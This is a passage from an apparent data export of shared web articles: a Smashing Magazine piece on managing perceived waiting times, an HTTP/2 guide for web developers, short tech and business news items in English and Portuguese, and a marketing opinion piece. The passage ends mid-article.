time and system response time. Part 2 reviewed the preemptive start and early completion techniques which, by dealing with active and passive wait, allow us to manage a user's perception of time. This part finally discusses pure passive waiting on the web , how we can deal with it and what can be done to keep user satisfaction high even when the service cannot be delivered fast enough. In addition to the studies on waiting online, our analysis will employ the psychology of waiting lines, customer satisfaction and other tools applicable to offline waiting. Psychological Time: Tolerance Management The solution, much simpler and less expensive was found: install mirrors in the elevators and floor-to-ceiling mirrors in the lobby. After installing the mirrors, the number of complaints dropped to nearly zero without any change in the objective time. Why? ""White Rabbit: Oh! Won't she be savage if I've kept her waiting!"" - Lewis Carroll, Alice's Adventures in Wonderland I'm sure most of you can guess the answer. Simply put, the solution replaced the pure passive wait that people experienced while waiting for an elevator with an active one by engaging people with looking at themselves (and in surreptitiously looking at others). It didn't try to convince people that the wait was shorter, didn't do anything to the objective time or event markers. Instead, people were shifted into the active phase right from the beginning of the wait to its end. In so doing, people were much more tolerant of the wait. Now it's time to get all the way down the rabbit hole of the waiting problem. Let's face it, it's not always easy to convince a user that a wait is shorter than it really is. Nevertheless, waiting need not have a negative effect on consumers' evaluations of websites if the waiting time is well managed . So why are people so intolerant of waiting? In 1985, David Maister conceptualized eight ""propositions"" (that have been confirmed in experiments by P. Johns and E. Peppiatt , P. Jones and M. Dent , and others) concerning the psychology of waiting. Although Davis and Heineke and E. Peppiatt supplemented the list with two more propositions later, for simplicity's sake we will call all of the propositions Maister's list . You will find the list along with the possible recommendations on how we can deal with corresponding propositions in the table below. Proposition Recommendation/comment P1 Occupied time feels shorter than unoccupied time. Balance between active and passive phases discussed in part 2 . This is also how the elevator problem was solved. P6 Unfair waits are longer than equitable waits. Meet users' expectations: match your waiting times to those of competitors or at least neutralize the waiting time of your services if you cannot reduce the wait otherwise. P3, P8, P9 and P10 are either subjects for a much broader application than front-end development is capable of, or are altogether out of reach for management of a website. Hence, P4 and P5 are the only propositions that miss the management tools in this psychology of waiting puzzle. These two tell us that one of the main reasons people feel unhappy about waiting is uncertainty of different nature: how long will the wait take? What is going on now? Is the result worth the wait? To answer these questions, tolerance management steps in. Show Me Your Progress ""I wonder how many miles I've fallen by this time?"" she said aloud. ""I must be getting somewhere near the centre of the earth."" - Lewis Carroll, Alice's Adventures in Wonderland To partially resolve the uncertainty and provide information about the waiting time and current state of a process, good ol' progress indicators are at our disposal. User researcher Steven C. Seow suggests dividing progress indicators into two main groups: dynamic (those updating information with time); and static (unchanging over time). Each of these can be split into two subgroups: determinate (projects completion by work units, time or some other measure); and indeterminate (does not project completion). Now the question becomes when to use these . Obviously, if we show a class A indicator for every action the user performs, it will get very annoying very fast. So, we need some guidelines. When we talked about performance budgets in part 1 we defined some static time intervals. Let me remind you of those while mapping them to appropriate indicators. Optimal experience 38 Within this interval, we must give users an indication of input or a request being processed and that the system is responding. Again, the optimal indicator would be a class D or a simplified class A indicator - there is no need to draw a user's attention to additional information. Some, like GitHub 39 (left) and Flickr 40 , incorporate logos into the spinners or loaders shown during the optimal experience or even shorter intervals. Attention span (5-10s) This is the frontier of the user's tolerance threshold and requires a more complete solution. For events within this interval or longer, we have to show more information than just a general 'working on it' indicator: users need to know how much longer they have to wait. Therefore, we should show a dynamic indicator of class A or B where the advance of the process is clear. A progress indicator for durations longer than five seconds can be a simple progress bar with a percentage or more advanced information providing current status while mid-process. To summarize these recommendations we could formulate our guidelines as simply as follows: For events lasting 0.5-1s , showing an indicator of class D (spinner) or simplified class A (progress bar) is advised on a case-by-case basis. For events lasting for 1-5s , a class D (spinner) or simplified class A indicator (progress bar) is required. For events longer than 5s , a dynamic indicator of class A or B is recommended It is common for progress indicators to combine different classes or combinations targeted at different propositions in Maister's list. 47 Little Big Room 89 48 is a lovely site that sets the mood, reduces anxiety (P3 in the Maister's list) and sets up a comfortable feeling (P9) for further waits on the site with its page loading indicator. ( View large version 49 ) Note that in cases when you use other distracting tools (like animation) during the whole wait, there might be no need for an additional progress indicator: users' are already busy processing the animation, thereby tolerating the wait more easily by default. Progress indicators are capable of providing enough information to neutralize uncertainty in accordance with P4 and P5. But can we do better than just indicating loading? Can we address multiple propositions simultaneously? We certainly can. Tolerance Beyond Progress Indicators Alice said nothing: she had never been so much contradicted in her life before, and she felt that she was losing her temper. - Lewis Carroll, Alice's Adventures in Wonderland From a performance point of view, searching for a flight and hotel combination all over the world to match a predefined budget is not a lightweight task at all. According to the DevTools, the results for my particular search kept coming in for as long as two minutes. Let's examine what is done for tolerance management in this case. First of all, the early completion technique mentioned in part 2 : the first results are rendered as soon as there are any that match the search criteria. But early completion alone is not enough: the first possible result was rendered after almost ten seconds of waiting. Earlier, we reasoned that a dynamic progress indicator should be shown for such long-lasting processes. For tripmydream.com, this is the complex indicator of class B consisting of the orange progress bar and the ""Analyzing"" block right below the bar. Finally, let's address the illustrated character at the bottom. The character is aimed at coping with P9 (uncomfortable waits feel longer than comfortable waits): usually, smiling cartoonish characters evoke emotions related to light-hearted childhood memories, setting up more comfortable feelings while dealing with the wait. The character might even partially solve P8 (solo waits feel longer than group waits) for those of us who spend more time with virtual friends in front of the computer than with real people. Keep in mind, though, that the use of a cartoon character should not contradict users' expectations of the service: such a character on a banking website, for example, would be inappropriate. Overall, early completion helps manage a user's acceptance of waiting time in accordance with P1 and P2; the complex progress indicator deals with P4 and P5; and the cartoon character at the bottom attempts to deal with P9 and P8. Quite a handful of harmful propositions are under control here! But not everything is smooth with the cartoon character on this page: it not only soothes, but also communicates, providing the user with additional textual information . And here we have a problem. Because the character and the corresponding text in this element are changed to another character every six seconds or so, most of the time users have no time to read the full text. There are many good and bad examples of tolerance management on the web. But we will take a look at two which try to achieve the same result with a different approach. SlideShare and Speaker Deck are arguably the two most popular services for uploading presentation slides online. Services like these are very useful for speakers to share their slides after an event with a wider audience. Both of these services have their own supporters based on aesthetics or for historical reasons, but for a user, the services are quite similar in functionality. What interests us in particular is the process of uploading presentation files to these services. From a technical point of view, the process is the same in both cases: a user chooses a file, uploads it, writes the title and other meta information, then clicks a button to publish the presentation. From a psychological point of view, the process is also the same: uploading a file is a pure passive wait because the user has no control over the uploading process. Neither has the user options other than cancelling the upload altogether. But the interfaces for this process differ between SlideShare and Speaker Deck. The good part first. Looking at these screenshots we can see how the services employ tolerance management for the process of uploading a file: the form suggests filling out the meta information not after, but while the file is being uploaded, thereby catering for P1 (occupied time feels shorter than unoccupied time) and P2 (people want to get started) propositions in Maister's list. Instead of keeping the user passively waiting, the user's brain is instantly triggered into the active phase by the suggestion of filling out this form. But can you spot the difference between the two? I am sure you can: the two different progress indicators on Speaker Deck. And this is where things get out of control. The second progress indicator not only adds some confusion to the interface, it also significantly slows down the process as perceived by the user. With SlideShare, my presentation file had been uploaded the moment I finished filling out the form, hence I didn't feel any delay or passive wait. But with Speaker Deck, even though my file had been uploaded comparably fast (the first progress indicator), I still had to wait for the second process to finish before my slides could be visible. And even if I could click the Save the Details button, it does exactly that - only saves the details while my presentation is still being processed. The situation gets worse because nothing in the interface tells the user what to expect after the ""processing"" is finished: will a user get any benefit that is worth the wait ? In this comparison, SlideShare shows impressive use of the tolerance management technique : users barely notice the passive wait while uploading files to the service. On the other hand, the same functionality at Speaker Deck, while employing the same technique at first, eliminates its success further in the process. 70 Part I: Objective time management Preemptive start : keep the user in the active phase for as long as possible before switching to the passive wait. Early completion : give the user something to work with by switching from a passive to active wait as soon as possible. Anything that helps your users stay away from the harmful influence of the uncertain wait. Consider progress indicators , switching fully to an active wait, or combining multiple techniques at once . But, be it objectively or psychologically, should we make everything as fast as possible? As you can guess, this is not yet the end. Easy, Tiger! Last year, discussion about a placebo progress bar on the website of South Africa's First National Bank made respected minds claim it to be some sort of nonsense . But let's not rush to judgement. First of all, as William J. McEwen writes , ""Faster can be better - but only when speed is exactly what the customer wants. Not all customers want to complete every contact with a company at lightning speed."" Do you like it when a bank website hurries you? The website provides an online interface to the offline interactions that a user can relate to in real life. Users have expectations about these operations and usually these interactions with banks do not happen at the speed of light. Second, by adding this progress indicator, the bank tries to cultivate a particular emotional design quality : the idea of a complex product with many benefits. ""A lot of things that are really valuable take time,"" says Darrell Worthy, an assistant professor of psychology at Texas A&M University. This echoes Maister's P7: the more valuable the service, the longer the customer will wait. The bank is not serving fast food; it is not expected to deliver results instantly. Simply by delaying its response to an average user (that is, without developer tools and a hunger for sensation), the bank tries to manage users' expectations, building the perceived value of the service. By the way, progress indicators on Little Big Room mentioned above, similar to the progress indicator at First National Bank, are not connected to any real process as well: they manage expectation and have a function different from simple progress indication. This brings us to the following point - as long as you don't introduce a genuinely new way of interaction or operation, your users already have certain expectations of it. Sometimes, speeding up a process confounds those expectations and puts the user out of countenance, significantly reducing the perceived value of your service. In the long run, this might be more destructive than a slower process. ""Everything's got a moral, if only you can find it,"" said the Duchess in Alice's Adventures in Wonderland . And this article humbly tries to communicate its own lesson. The performance and speed of our projects are very important, without a doubt. But they have to meet users' expectations and needs before we slake our thirst for speed. A good developer knows how to make a website faster; an excellent developer knows when and why to do so. Know your users, know your tools and deliver your best. 92 Everything comes to an end. And here's the end event marker of this article. Endnotes 1 According to a number of studies like the ones by M. Masson et al and K. Rayner , the reading speed for an average reader (native English speaker reading in English) is around 250 words per minute, or about 4 words per second. The graphical elements shown randomly at tripmydream.com contain 16-24 words; this means that to read and, most importantly, understand the textual information, an average user would need 4-6 seconds. And indeed, the pictures change every 6 seconds on average. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 #endnote1 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 #tolerance-management 78 #progress-indicators 79 #beyond-indicators 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 ↑ Back to top Tweet it Share on Facebook",en
1468435277,CONTENT SHARED,-4864344772765973009,-4125205337625989832,3171707722573027152,,,,HTML,https://www.smashingmagazine.com/2016/02/getting-ready-for-http2/,Getting Ready For HTTP/2: A Guide For Web Designers And Developers - Smashing Magazine,"The Hypertext Transfer Protocol (HTTP) is the protocol that governs the connection between your server and the browsers of your website's visitors. For the first time since 1999, we have a new version of this protocol , and it promises far faster websites for everyone. In this article, we'll look at the basics of HTTP/2 as they apply to web designers and developers. I'll explain some of the key features of the new protocol , look at browser and server compatibility, and detail the things you might need to think about as we see more adoption of HTTP/2. By reading this article, you will get an overview of what to consider changing in your workflow in the short and long term. I'll also include plenty of resources if you want to dig further into the issues raised. My aim is to give you enough of the background to be able to make good decisions as you plan your move to HTTP/2. A Brief History Of HTTP Link HTTP is an old protocol, initially defined in 1991 , with the last major revision - HTTP/1.1 - published in 1999. Websites in 1999 were very different to the websites we develop today. In http2 explained , Daniel Sternberg notes that the amount of data now required to load the home page of an average website is 1.9 MB, with over 100 individual resources required to display a page - a ""resource"" being anything from an image or a font to a JavaScript or CSS file. HTTP/1.1 does not perform well when retrieving the large number of resources required to display a modern website. As we'll see later in this article, many of the performance best practices we know as web developers come from our coping with the limitations of HTTP/1.1. In 2009, two engineers at Google posted about a research project they had been working on named SPDY . This project addressed some of the issues in HTTP/1.1. SPDY set out to: allow concurrent requests across a single TCP connection, known as multiplexing ; allow browsers to prioritize assets so that resources vital to the display of a page could be sent by the server first; compress and reduce HTTP headers; implement server push , whereby a server can push vital resources to the browser before being asked for them. In addition, SPDY requires an encrypted (HTTPS) connection between the browser and server. SPDY doesn't replace HTTP; rather, it's a tunnel for the protocol and modifies the way existing HTTP requests and responses are sent. It requires support from both the server and the browser connecting to that server. With support available in NGINX and packages available from Google to enable support in Apache, there was a reasonable amount of adoption of SPDY. Browser support is pretty good, too, with modern versions of all major browsers supporting it. 6 SPDY browser support information on Can I Use. ( View large version 7 ) We've seen SPDY enjoy some success, gaining adoption with both servers and browsers. However, you might also have spotted that, despite Internet Explorer 11 being supported, Microsoft's Edge browser has dropped it. What's happening here? Support for SPDY has been dropped in Edge due to Microsoft implementing support for HTTP/2, the latest version of the HTTP protocol. While other current browsers still maintain support for SPDY, Chrome will remove support in 2016, and other browsers will likely follow. At the time of writing, Edge, Firefox, Chrome and Opera support both SPDY and HTTP/2. Safari, including on iOS, will join that group later this year with the launch of Safari 9. 8 SPDY browser support information on Can I Use. ( View large version 9 ) Will We Have To Change Our Websites? Link HTTP/2 is backwards-compatible with HTTP/1.1 , so it would be possible to ignore it completely and everything will continue to work as before. The protocol change is completely transparent to users. Many readers of this article will have been using a protocol other than HTTP/1.1 for years. If you have a Gmail account and use Chrome to access it you will have been using SPDY and then HTTP/2 without knowing anything about it. However, many of the things you think of as being best practices can be detrimental to performance under HTTP/2. Over time, as more servers update to use HTTP/2 and more people have browsers that support HTTP/2, your website, at one time well optimized according to best practices, will start to seem slower than websites optimized for the new protocol. What Do We Need To Change To Embrace HTTP/2? Link In the rest of this article, we'll look at some of the common best practices that will become anti-patterns as HTTP/2 is adopted . As we've seen, the transition will be a slow one for many websites. To move to HTTP/2, your server software will need to be updated to support the protocol - which may be easy or almost impossible depending on how you are being hosted. Before making changes to your website specifically for HTTP/2, you'll also need to consider whether your visitors tend to have browsers that support it. Owners of websites that attract a lot of people using very up-to-date browsers will be able to make that switch sooner than owners whose logs show a majority of users on older browsers. To reflect this, I'll also give you some suggestions on how to work in this transition time. Make the Move to TLS Link If you have a site that is currently http only then my suggestion would be to prioritize a move to https first and then decide on your HTTP/2 strategy. Turning Multiple Image Files Into Sprites Link In HTTP 1.1, retrieving one large image is much more efficient for the browser than making a lot of requests for small ones. This is because multiple requests queue up behind each other. To work around this, we have been advised to turn our little icons into a sprite file . The resulting sprite is returned with one HTTP request, preventing the problem of multiple requests being queued. However, even if the visitor is on a page that shows only one of those icons, they will still have to download a much larger file than they need to in order to see that one image. With the multiplexing ability of HTTP/2 , this queuing of resources is no longer an issue. Serving the small images individually will be better in many cases; you will only need to serve what is required for the page that the visitor is on. Creating a sprite will still be warranted in some cases; HTTP requests are only one aspect of performance. Combining some images together in a sprite might achieve better compression and, thus, a smaller download size overall, especially if all of those images are used on the page being loaded. However, it will no longer be the case that a sprite is always the best choice. Inlining Images Using Data URIs Link Another workaround for the problem of multiple HTTP requests in HTTP/1.1 is to inline images in CSS using data URIs . Embedding images in this way will make a style sheet much larger. If you have combined this with another optimization technique for concatenating assets, then a visitor will likely download all of this code even if they never visit the pages where the images are being used. With HTTP requests being very cheap in HTTP/2, this ""best practice"" will hinder rather than help performance. Concatenating CSS And JavaScript Link As the final step in our build process, many of us will concatenate all of the small CSS and JavaScript files used on our website. We often want to keep these separated while developing to make it easier to manage these resources - but we know that delivering one file to the browser is more efficient for performance than delivering five. Once again, we are trying to limit HTTP requests. If you are doing this, then a visitor who lands on your home page might download all of the CSS and JavaScript required for your website, even if they never use most of it. As a developer, you can get around this problem by carefully selecting and including specific files for each area of the website in your build process, but that can be quite a lot of work. An additional issue with concatenation is that everything will need to be purged from the cache at once. You can't give some files that never change a long expiry date while giving often changing parts of the code base a shorter date. It all has to be expired if even one line of CSS, used on a single page, is changed. I imagine you see where this is going! HTTP requests are cheap in the world of HTTP/2 . Organizing your assets during development according to the pages on which they will be used will be far better. You can then serve up only the code that the visitor needs. Downloading a lot of tiny style sheets won't matter. You could also organize based on how frequently things change; assets with longevity could then be cared for longer. Splitting Resources Between Hosts: Sharding Link HTTP/2 removes this need for domain sharding because you can request as many resources as you need. In fact, this technique will likely hurt performance because it creates additional TCP connections and hinders HTTP/2 from prioritizing resources. How To Prepare For HTTP/2 Now Link If you are starting a project that you expect to have some longevity but cannot launch of HTTP/2 perhaps due to server support, it would be worth considering how you can prepare for HTTP/2. You could add a few things to your build process now that will make the switch easier later on. Create Individual Assets in Addition to Sprites and Data URIs Link If you are creating sprites, add to your process the creation and optimization of those individual assets as well, or smaller page-specific sprites if you feel performance would be best enhanced by these. This will make it easier for you to switch from big sprites to small (or no) sprites when the tipping point for your website is reached. The same is true for data URIs. If you are currently using these in your CSS, have the images ready for when you switch away from this technique. Organize Your Assets By Website Section Link With CSS and JavaScript concatenation, there is a temptation to optimize for ease of development because the files will all get squashed together anyway. When you switch over to HTTP/2, you will get the best performance by carefully managing resources so that only the things needed by a certain page are delivered to that page. Therefore, starting to organize your development in this way now will pay off. For now, you may well still concatenate, and when the tipping point is reached, you can stop that part of your build process and serve the resources individually. Manage Domain Sharding Link The current best practice for HTTP/1.1 is to limit sharding to two host names. There is a way to get HTTP/2 to coalesce the connections, if the TLS certificate is valid for both hosts and the hosts resolve to the same IP. Since browser implementors require HTTP/2 to be running over HTTPS, it's necessary to get the TLS certificate to run over HTTP/2. See more on slide 26 of Ilya Grigorik's slidedeck from the Velocity Conference. 21 Slide from Ilya Grigorik's presentation. ( View large version 22 ) More To Come Link Ultimately, we'll get a whole slew of best practices for HTTP/2. For best performance, this protocol will hand a lot of control back to you, which means you will need to make decisions for each project. I haven't covered in this article how to take advantage of new features of HTTP/2 such as server push. This technology allows you to decide which resources are a priority and instructs the server to hand those out before less important things. When To Switch? Link For designers and developers who do not have full control over the servers they deploy to, the decision may have to wait until the servers they use are updated. There are hosting companies ofering HTTP/2 already - even for shared hosting - so deploying to a supporting server is something you could recommend to a client if you know they would benefit. Once your website is hosted on a server that supports HTTP/2, the decision of whether to continue optimizing for HTTP/1.1 or to optimize for HTTP/2 will come down to the protocol supported by the majority of your users . Remember that HTTP/2 is backwards-compatible - you don't need to do anything specific. The decision you need to make is when to optimize for it. You'll need to decide according to your analytics data. If more visitors are using HTTP/2-supporting browsers than not, then I'd suggest that's a reasonable tipping point for optimizing for those users. Many of us will already have reached that point . You should use data from sites such as Can I Use along with data gathered from your own analytics and knowledge of your likely audience. For example, many of the benefits of HTTP/2 will be felt most keenly by users of HTTP/2 supporting mobile devices. If you have a high percentage of mobile traffic that might be an indication to move to HTTP/2 sooner. However, if you have a high percentage of mobile traffic from users who browse using Opera Mini then that would be a reason to hold off on the move to HTTP/2 as it currently does not have support while having a high number of users in some parts of the world. If you are building a brand new website today, I'd suggest keeping HTTP/2 optimization in mind throughout your build. If at launch, you feel that you need to make concessions for HTTP/1.1 due to browser or server support, a lot of that can be done in the build process, allowing you to switch to the HTTP/2 version as soon as you feel the time is right. Your HTTP/2 Action Plan Link Launch with a secure connection or make the move to TLS now This should be your priority. Prepare for HTTP/2 in your build process. Any website you build now would likely benefit from being optimized for HTTP/2 over its lifetime. Use the tips above to create a build process that can be optimized for both protocols. Check your statistics. By comparing browser usage on your website with the support table on Can I Use , you can see what percentage of visitors would benefit from HTTP/2 optimization. Check your hosting. When you reach the point when you would benefit from switching, you will need to ensure that your server supports HTTP/2. Speak to your hosting provider or server administrator to find out their migration plan. Roll out HTTP/2 optimization. Once your server supports HTTP/2, the rest is up to you. Stop using the old best practices and switch to the new. This will mean that users with browsers that do not support HTTP/2 will get a slower experience, which is why the driver behind your change should be the tipping point when the majority would benefit. When you do move to HTTP/2, it would be interesting to benchmark the speed increases and to see which techniques have made the biggest differences on your websites. I'm looking forward to seeing information from real-world cases as people migrate websites. That information will help us develop a whole new generation of best practices. Find Out More Link An increasing amount of information about HTTP/2 is available online. I've listed some resources here for your reference, many of which I referred to while writing this article. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 ↑ Back to top Tweet it Share on Facebook",en
1468438220,CONTENT SHARED,882422233694040097,-4092545774372727680,-3323769179501075221,,,,HTML,https://www.infoq.com/br/news/2016/07/infografico-machine-learning,Infográfico: Algoritmos para Aprendizado de Máquina,"Quais são os mais importantes algoritmos a serem utilizados em projetos com aprendizado de máquina? Qualquer pessoa inserida em projetos que façam uso desta tecnologia normalmente se questiona em algum momento, o que utilizar em decorrência de um projeto que utilize aprendizado de máquina. Anubhav Srivastava é um cientista de dados que trabalha e escreve sobre modelos de decisão utilizando Big Data e em seu campo de atuação busca aplicar estes modelos em diversas áreas de negócio da indústria, auxiliando empresas em suas tomadas de decisão. Srivastava, que também atua como escritor para o site thinkbigdata.in , publicou recentemente um infográfico com os principais algoritmos utilizados em aprendizado de máquina. O infográfico destaca alguns dos algoritmos mais utilizados, resumindo cada tipo de aplicabilidade com os disponíveis para uso. Trata-se de um material estruturado que possibilita uma consulta rápida para sanar dúvidas. Segundo o autor, é importante destacar que não há um algoritmo vencedor e que seja melhor em relação aos demais, o infográfico tem a intenção de ser apenas uma referência de uso. Srivastava destaca em sua publicação que: Para situações diferentes, e com diferentes algoritmos, mesmo que sejam concebidos para apresentar resultados semelhantes, o resultado normalmente será apresentado de forma diferente. Dependendo do que se deseja alcançar com a análise dos dados, um algoritmo pode lhe atender de uma forma melhor quando comparado a um outro que faz exatamente a mesma coisa. Outro fator importante é que o tamanho do conjunto de dados o qual estamos trabalhando faz uma diferença determinante no modelo que se quer aplicar. Além disso, a possibilidade de interações com os algoritmos existentes permite o aumento da relevância em uma variedade de aplicações. É importante lembrar que os algoritmos mais simples não são ruins ou obsoletos. Assim, a sugestão que dou é ao invés de buscar os melhores algoritmos, devemos nos concentrar em ganhar a consciência sobre os fundamentos destes diferentes algoritmos e suas aplicações. As técnicas cobertas no infográfico incluem entre outros: O infográfico completo com todos os algoritmos divididos por tipo de técnica de aprendizado de máquina pode ser visualizado na imagem abaixo: A intenção deste infográfico não é a de detalhar os algoritmos e suas técnicas de aprendizado de máquina e sim disponibilizar a informação de uma forma estruturada, fácil e acessível como um quadro que possa ser colado na parede e sempre estar a mão para uma rápida consulta. Para uma referência detalhada com alguns algoritmos, o autor cita ainda a lista disponibilizada na conferência de mineração de dados da IEEE de 2006.",pt
1468440338,CONTENT SHARED,-6643406494673362190,-1352064057049251194,-4826610873098834626,,,,HTML,http://www.24brasil.com/geral/vendas-da-netshoes-crescem-267-em-dispositivos-mveis-no-1-semestre/77141-noticias,Vendas da Netshoes crescem 267% em dispositivos móveis no 1º semestre - 24Brasil,"O Grupo Netshoes reportou um crescimento de 267% no número de pedidos feitos por smartphones e tablets no primeiro semestre. A receita de vendas por meio de dispositivos móveis aumentou 238% no mesmo período - as realizadas por meio de aplicativos avançaram 36% e as do site voltado para dispositivos móveis teve um salto de 205%. A companhia não informa qual foi o incremento apurado no total de vendas no período. O tráfego de visitantes via dispositivos móveis cresceu 136% no semestre e representou 40% do total de usuários que acessaram as plataformas do grupo no período. O total de visitações, segundo a companhia, ultrapassou 50 milhões de usuários no fim de junho. De acordo com grupo, o aumento é resultado da implantação de novas estratégias para o comércio eletrônico móvel na Netshoes e na Zattini. Entre as ações para atrair consumidores, estão acesso gratuito aos aplicativos e sites, sem consumo do plano de dados contratado pelo internauta nas operadoras de telefonia móvel. A Associação Brasileira de Comércio Eletrônico (ABComm) estima que 30% das compras virtuais em 2016 no país serão feitas com uso de dispositivos móveis, o que representa algo perto de 17 bilhões. No ano passado, as vendas por dispositivos móveis respondeu por 20% do faturamento total do comércio eletrônico, ou R$ 9,6 bilhões. O crescimento de vendas em dispositivos móveis é estimada em 80% neste ano. Para o mercado total de comércio eletrônico, a entidade projeta avanço de 18%, chegando a R$ 56,8 bilhões de faturamento. A Netshoes fechou 2015 com prejuízo líquido de R$ 63,2 milhões, ante uma perda líquida de R$ 93,6 milhões no ano anterior. O grupo obteve crescimento de 33% na receita líquida, para R$ 1,5 bilhão. Para 2016, o Grupo Netshoes espera crescer acima da média do varejo on-line.",pt
1468443242,CONTENT SHARED,6412479507689487223,-1443636648652872475,4741677006249982720,,,,HTML,http://www.zdnet.com/article/microsofts-new-online-certification-program-kicks-off-with-data-science-specialization/,Microsoft's new online certification program kicks off with data science specialization | ZDNet,"Microsoft took the wraps off a new online certification program called Microsoft Professional Degree during Day 3 of the company's Worldwide Partner Conference in Toronto. The new Professional Degree program is in beta/pilot at this point, said officials on July 13. The first certifications which Microsoft will award this September will be in the data science area. According to the web site for the new program, Microsoft consulted data scientists and companies employing them to figure out what the core skills required are in that field. Microsoft then developed a curriculum to teach the skills via online courses and hands-on labs. Graduates will receive a Microsoft Professional Degree in Data Science. Microsoft is allowing those interested in being notified when slots in the program are open to the public to sign up with their email address . Participants are allow to audit any courses, including the associated hands-on labs, for free. ""However, to receive credit towards the Microsoft Professional Degree, you must purchase a Verified Certificate for each of the ten courses you take in the curriculum. For the Data Science degree, the Verified Certificate for the orientation course is $25, and the Verified Certificate for 'Statistical Thinking for Data Science and Analytics' is US $99. All other courses offer Verified Certificates for US $49 each,"" according to Microsoft's site. During the data-science pilot, for each required course taken on edX, participants will need to purchase a verified certificate. More information on the courses and pricing is available at edX.org . More details on the Microsoft Professional degree program are available on this FAQ page , which notes that data science is currently the only arena where certifications are available, and English is currently the only language supported. Microsoft angered some back in 2013 when it pulled its highest-level Masters certifications . When this happened, Microsoft officials said the company was rethinking how best to make its certification program in that space more sustainable.",en
1468447808,CONTENT SHARED,245828856632598563,-1799631734242668035,-168779537189382166,,,,HTML,http://adage.com/article/digitalnext/campaigns-dead-modern-marketing-a-data-exchange/304868/,Campaigns Are Dead. Modern Marketing Is a Data Exchange,"Consumers and Marketers Want the Same Thing -- Information Brands need to stop thinking about ad campaigns, websites and social media as separate experiences. This siloed thinking creates a fragmented consumer experience. Brands must shift the mindset to think of modern marketing as simply a data exchange. On one side of this data exchange, consumers access critical information as they go through the purchase journey. In studies we conduct for our clients, we typically find over 40 different points of inflection where consumers make decisions and access information from brands. Sometimes the information they're looking for is as brief as a photo and sometimes they spend hours interacting with content. Now, let's pause for a moment to think about what information really is. Information is data. Meaning consumers covet exactly what the brand does. Consumers want comprehensive, integrated, dynamic data. Data that provides the critical inputs for deciding how to invest their time, money and energy. Just like brands. This is why the industry needs to move away from a reach and frequency model and move toward an empowerment model. Consumers don't want the same piece of data repeated over and over across multiple channels. They want information that is personalized based on their contextual needs and behavioral history. Thinking about marketing as a data exchange shifts brands away from simply extending traditional campaigns to perform online. It shifts them away from the social media memes that strive for irrelevant engagement metrics. It shifts them away from videos desperately seeking to go viral. It shifts them away from websites that treat every customer the same exact way. Instead, it enables the brand story to grow on a one-to-one basis as consumers immerse themselves in research for products and take a journey down the sales funnel. On the brand side of this equation, every time we provide data to the audience, we receive data in return. The most basic of which is demographic data. More interestingly, it's psychographic data. More importantly, it's behavioral data. Every time she clicks, she tells us something about herself. Looking at the travel category as an example we can all relate to, those clicks let us know about her family structure, budget, location, travel preferences, motivations and purchase barriers. We know where she wants to stay, when she wants to stay, why she wants to stay, what she wants to do, how much she wants to spend, who she wants to travel with, what barriers stand in her way and what motivators can get her over the final purchase hurdle. That level of personalized data is revolutionary in nature, but not difficult to gather. What's critical is that brands' overarching mindset and internal structures change to capitalize on the opportunity. Brands typically have separate teams responsible for owned, earned and paid media, which limits their ability to profit from this data exchange. The data goes from the consumer to the brand, but it often doesn't get synthesized and disseminated throughout the organization. It's not complicated mathematics, but corporate structures are slow to change. That's one of the key reasons why so many of the most successful brands are relatively young. They're not hamstrung by legacy organizational models. When you think of marketing as a data exchange, you move beyond the concept of owned, earned and paid media. You realize that it's all just one thing: millions of consumers connected to brands by data. This shift in mindset helps brands make strategic decisions with a holistic look at the entire consumer journey. When brands leverage this mindset, they realize four key benefits: 1. Strategic budgeting: Brands can shift budgets away from paid media by identifying the channels that are most cost effectively delivering consumer data at each stage of the consumer journey rather than relying on paid interruptions to tell the entire brand story. 2. Optimized KPIs: Internal teams can create synergies across departments by focusing on the key performance indicators that lead to bottom-line results. For example, the content team won't focus on engagement metrics while the paid search team focuses on conversion. 3. Optimized technologies: Brands can leverage CMS personalization and media tagging to create a sequential brand story that changes as each consumer goes through her journey. No longer will each effort be optimized without thinking about a seamless consumer journey. 4. Strategic agency relationships: Brands can shift away from a large stable of agencies that are RFP'd for each assignment and move to a handful of retained partners who share complex data. No longer will agencies be asked to develop creative without being fully immersed in consumer behavior. Brands no longer need to cram their entire brand story into a 30-­second spot, a two-­page print spread or a 300-pixel banner. Instead, they can leverage the entire consumer journey and embrace a two-­way data exchange. By shifting to this mindset, brands can make the structural changes that benefit the consumer as well as the brand. This helps both entities spend their money more wisely by providing the data needed to make smarter decisions. It might not be the sexiest aspect of marketing, but it is now the most important. Jeff Rosenblum Jeff Rosenblum is founding partner of digital brand-building agency Questus and co-director of the documentary ""The Naked Brand.""",en
1468454860,CONTENT SHARED,-9176143510534135851,-6067316262393890508,1921829387285330274,,,,HTML,http://super.abril.com.br/ideias/livraria-da-adeus-estoque-e-imprime-livros-na-hora,Livraria dá adeus a estoque e imprime livros na hora,"Livrarias têm aquele cheiro específico de livros exalando das prateleiras. Caminhar entre eles é um ritual para muita gente. Mas todo esse ambiente custa caro: o aluguel do espaço geralmente é pesado demais para a quantidade de livros vendida. Foi o que aconteceu com a Les Puf , a Publicadora Universitária da França, que tinha uma loja tradicional no centro de Paris. Com a especulação imobiliária e a queda nas vendas, ela fechou - mas voltou esse ano com uma proposta totalmente nova: uma livraria que imprime na hora o livro de acordo com o interesse do cliente. Quem visita a Les Puf escolhe as opções do catálogo em um tablet: são 5 mil títulos e outros 3 milhões disponibilizados pela empresa americana que criou a impressora portátil de livros, a On Demand Books. Uma vez que o livro é selecionado, a Espresso Book Machine puxa o PDF original do volume, imprime, cola e encapa o título com uma qualidade impressionante. O nome da impressora é inspirado no cafézinho italiano, uma vez que ela leva o mesmo tempo para aprontar o livro que o cliente para tomar seu café. Veja como funciona: A máquina já foi adotada por diversas bibliotecas e livrarias universitárias no mundo todo - de Nova York a Alexandria, no Egito - e também por lojas tradicionais, como a Barnes and Noble , nos Estados Unidos. Com isso, a livraria pode escolher não ter livros em estoque. A Les Puf mantem só um mostruário. Caem tanto os custos com distribuição quanto o aluguel: a livraria ocupa um espaço de menos de 80 m² e vende cerca de 40 livros por dia. Por conta da legislação francesa, a loja também consegue cobrar o 